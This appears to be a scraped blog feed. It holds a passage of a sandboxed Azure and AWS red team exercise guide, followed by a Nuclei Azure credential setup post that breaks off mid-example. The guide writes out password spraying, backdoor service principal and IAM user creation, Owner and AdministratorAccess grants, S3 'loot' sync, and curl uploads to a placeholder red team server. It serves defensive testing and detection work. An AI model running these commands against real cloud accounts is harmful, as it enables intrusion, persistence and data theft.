&lt;li&gt;&lt;strong&gt;Preparation &amp;amp; Scope&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Step-by-Step Attack Simulation (per cloud)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tools &amp;amp; Command Examples&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detection &amp;amp; Response Checks&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;1. Preparation &amp;amp; Scope&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Environment&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Azure:&lt;/strong&gt; Create a separate tenant/subscription for testing; deploy dummy resources (VMs, Storage Accounts, Function Apps, SharePoint) with seeded dummy data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AWS:&lt;/strong&gt; Use a sandbox account (or AWS Organizations member account with no production trust) and deploy S3 buckets, EC2 instances, Lambda functions, IAM roles, and users with varying privilege levels.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Rules of Engagement&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No real destructive changes to production&lt;/li&gt;
&lt;li&gt;No real credentials outside the lab&lt;/li&gt;
&lt;li&gt;Simulated payloads only (no actual malware)&lt;/li&gt;
&lt;li&gt;All actions logged for review&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;2. Step-by-Step Red Team Exercise&lt;/strong&gt;
&lt;/h2&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Azure Exercise&lt;/strong&gt;
&lt;/h3&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 1 – Reconnaissance&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Objective:&lt;/strong&gt; Map Azure AD and resource landscape&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1087.004 – Cloud Account Discovery&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all Azure AD users&lt;/span&gt;
az ad user list &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'[].{displayName:displayName,userPrincipalName:userPrincipalName}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1526 – Cloud Service Discovery&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all available subscriptions&lt;/span&gt;
az account list &lt;span class="nt"&gt;--output&lt;/span&gt; table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Enumerate public storage accounts (simulated using test accounts)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az storage account list &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'[?allowBlobPublicAccess==`true`].{name:name,resourceGroup:resourceGroup}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 2 – Initial Access&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1110.003 – Password Spraying (Safe Simulation)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;user &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;users.txt&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;az login &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Winter2025!'&lt;/span&gt; &lt;span class="nt"&gt;--allow-no-subscriptions&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1078 – Valid Accounts (Simulated Stolen Token)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AZURE_ACCESS_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"eyJhbGciOi..."&lt;/span&gt;
az rest &lt;span class="nt"&gt;--method&lt;/span&gt; get &lt;span class="nt"&gt;--url&lt;/span&gt; https://graph.microsoft.com/v1.0/me &lt;span class="nt"&gt;--headers&lt;/span&gt; &lt;span class="s2"&gt;"Authorization=Bearer &lt;/span&gt;&lt;span class="nv"&gt;$AZURE_ACCESS_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 3 – Privilege Escalation&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1098.001 – Additional Cloud Credentials&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az ad sp create-for-rbac &lt;span class="nt"&gt;--name&lt;/span&gt; &lt;span class="s2"&gt;"backdoor-sp"&lt;/span&gt; &lt;span class="nt"&gt;--role&lt;/span&gt; Contributor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1098.003 – Role Assignment Exploitation&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az role assignment create &lt;span class="nt"&gt;--assignee&lt;/span&gt; &amp;lt;SP_ID&amp;gt; &lt;span class="nt"&gt;--role&lt;/span&gt; Owner &lt;span class="nt"&gt;--scope&lt;/span&gt; /subscriptions/&amp;lt;SUB_ID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 4 – Persistence&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1136.003 – Cloud Account Creation&lt;/strong&gt; (Create long-lived backdoor SP)&lt;/li&gt;
&lt;li&gt;Add OAuth app with overprivileged Graph permissions (simulated consent phishing)&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 5 – Lateral Movement&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1530 – Data from Cloud Storage&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az storage blob list &lt;span class="nt"&gt;--container-name&lt;/span&gt; mycontainer &lt;span class="nt"&gt;--account-name&lt;/span&gt; mystorageaccount
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Cross-subscription enumeration
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az role assignment list &lt;span class="nt"&gt;--all&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 6 – Exfiltration&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1041 – Exfiltration Over HTTPS&lt;/strong&gt; (Simulated)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"file=@dummydata.zip"&lt;/span&gt; https://&amp;lt;redteam-server&amp;gt;/upload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 7 – Cleanup&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Remove SPs, roles, and OAuth apps created in lab
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az ad sp delete &lt;span class="nt"&gt;--id&lt;/span&gt; &amp;lt;SP_ID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;AWS Exercise&lt;/strong&gt;
&lt;/h3&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 1 – Reconnaissance&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1087.004 – Cloud Account Discovery&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam list-users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1538 – Cloud Infrastructure Discovery&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws ec2 describe-instances
aws s3 &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 2 – Initial Access&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1078 – Valid Accounts (Simulated Compromised Keys)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"AKIA..."&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"secret..."&lt;/span&gt;
aws sts get-caller-identity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1526 – Cloud Service Discovery&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws lambda list-functions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 3 – Privilege Escalation&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1098.004 – Additional Cloud Roles&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam attach-user-policy &lt;span class="nt"&gt;--user-name&lt;/span&gt; testuser &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; arn:aws:iam::aws:policy/AdministratorAccess
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1078.004 – PassRole Abuse&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam pass-role &lt;span class="nt"&gt;--role-name&lt;/span&gt; HighPrivilegeRole &lt;span class="nt"&gt;--role-session-name&lt;/span&gt; attack-session
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 4 – Persistence&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1136.003 – Cloud Account Creation&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam create-user &lt;span class="nt"&gt;--user-name&lt;/span&gt; backdoor
aws iam create-access-key &lt;span class="nt"&gt;--user-name&lt;/span&gt; backdoor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 5 – Lateral Movement&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Cross-account role enumeration:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws sts assume-role &lt;span class="nt"&gt;--role-arn&lt;/span&gt; arn:aws:iam::&amp;lt;account-id&amp;gt;:role/CrossAccountRole &lt;span class="nt"&gt;--role-session-name&lt;/span&gt; attacker
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;S3 sensitive file search:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 &lt;span class="nb"&gt;sync &lt;/span&gt;s3://target-bucket ./loot &lt;span class="nt"&gt;--exclude&lt;/span&gt; &lt;span class="s2"&gt;"*"&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt; &lt;span class="s2"&gt;"*.csv"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 6 – Exfiltration&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;T1041 – HTTPS Transfer&lt;/strong&gt; (Simulated)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"file=@loot.zip"&lt;/span&gt; https://&amp;lt;redteam-server&amp;gt;/upload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h4&gt;
  
  
  &lt;strong&gt;Phase 7 – Cleanup&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Remove IAM users, roles, and policies created during test
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws iam delete-user &lt;span class="nt"&gt;--user-name&lt;/span&gt; backdoor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  &lt;strong&gt;3. Tools to Use&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Azure:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/BloodHoundAD/AzureHound" rel="noopener noreferrer"&gt;AzureHound&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Azure/Stormspotter" rel="noopener noreferrer"&gt;Stormspotter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Atomic Red Team (Cloud tests)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;AWS:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/RhinoSecurityLabs/pacu" rel="noopener noreferrer"&gt;Pacu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;ScoutSuite / Prowler&lt;/li&gt;
&lt;li&gt;Atomic Red Team AWS TTPs&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;4. Detection &amp;amp; Response Checks&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Azure:&lt;/strong&gt; Ensure Microsoft Defender for Cloud and Sentinel trigger alerts for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unusual sign-ins&lt;/li&gt;
&lt;li&gt;New Service Principals&lt;/li&gt;
&lt;li&gt;Role assignment changes&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;AWS:&lt;/strong&gt; Ensure GuardDuty and Security Hub trigger alerts for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;New IAM user creation&lt;/li&gt;
&lt;li&gt;Cross-account role assumption&lt;/li&gt;
&lt;li&gt;S3 bucket data access anomalies&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




</description>
      <category>azure</category>
      <category>aws</category>
      <category>redteam</category>
    </item>
    <item>
      <title>Nuclei Azure Template</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Tue, 18 Mar 2025 11:14:34 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/nuclei-azure-template-1g71</link>
      <guid>https://dev.to/cheahengsoon/nuclei-azure-template-1g71</guid>
      <description>&lt;p&gt;To run &lt;strong&gt;Azure-specific Nuclei templates&lt;/strong&gt;, you need to configure your &lt;strong&gt;Azure credentials&lt;/strong&gt; so that Nuclei can authenticate and interact with the Azure environment. Here’s how you can set up Azure credentials on &lt;strong&gt;Windows&lt;/strong&gt;:&lt;/p&gt;




&lt;h2&gt;
  
  
  ✅ &lt;strong&gt;1. Install Azure CLI&lt;/strong&gt;
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Download the Azure CLI installer for Windows from &lt;a href="https://aka.ms/installazurecliwindows" rel="noopener noreferrer"&gt;https://aka.ms/installazurecliwindows&lt;/a&gt;.
&lt;/li&gt;
&lt;li&gt;Install it by running the &lt;code&gt;.msi&lt;/code&gt; file.
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  ✅ &lt;strong&gt;2. Sign in to Azure&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Open &lt;strong&gt;Command Prompt&lt;/strong&gt; or &lt;strong&gt;PowerShell&lt;/strong&gt; and sign in to Azure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;az&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will open a browser window for you to sign in with your Azure credentials.&lt;/p&gt;




&lt;h2&gt;
  
  
  ✅ &lt;strong&gt;3. Verify Your Azure Subscription&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Check your active Azure subscriptions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;az&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;account&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;--output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;table&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set the active subscription if you have more than one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;az&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;account&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;--subscription&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SUBSCRIPTION_ID"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  ✅ &lt;strong&gt;4. Create a Service Principal (Optional)&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;If you want to use a Service Principal instead of your login session:&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Create a Service Principal:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;az&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ad&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;create-for-rbac&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;--name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"nuclei-scan"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;--role&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Contributor"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output will be like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"appId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"displayName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"nuclei-scan"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tenant"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2: Export Service Principal Credentials:
&lt;/h3&gt;

&lt;p&gt;Set the following environment variables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;AZURE_CLIENT_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;AZURE_CLIENT_SECRET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;AZURE_TENANT_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For &lt;strong&gt;permanent setup&lt;/strong&gt;, add these to your Windows environment variables:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;Control Panel&lt;/strong&gt; → &lt;strong&gt;System&lt;/strong&gt; → &lt;strong&gt;Advanced system settings&lt;/strong&gt; → &lt;strong&gt;Environment Variables&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Create the following variables under &lt;strong&gt;System Variables&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AZURE_CLIENT_ID&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AZURE_CLIENT_SECRET&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;AZURE_TENANT_ID&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Restart your terminal for the changes to take effect.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  ✅ &lt;strong&gt;5. Test Azure Authentication&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;To confirm your credentials are working:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;az&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;account&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;show&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If successful, it will display your active Azure subscription details.&lt;/p&gt;




&lt;h2&gt;
  
  
  ✅ &lt;strong&gt;6. Run Nuclei with Azure Templates&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Now that credentials are configured, run the Azure templates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;nuclei&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;YourUsername&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;\nuclei-templates\cloud\azure\&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;targets.txt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-v&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ✅ &lt;strong&gt;Example: Run a Specific Azure Template&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Example to check for weak authentication in ARM templates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
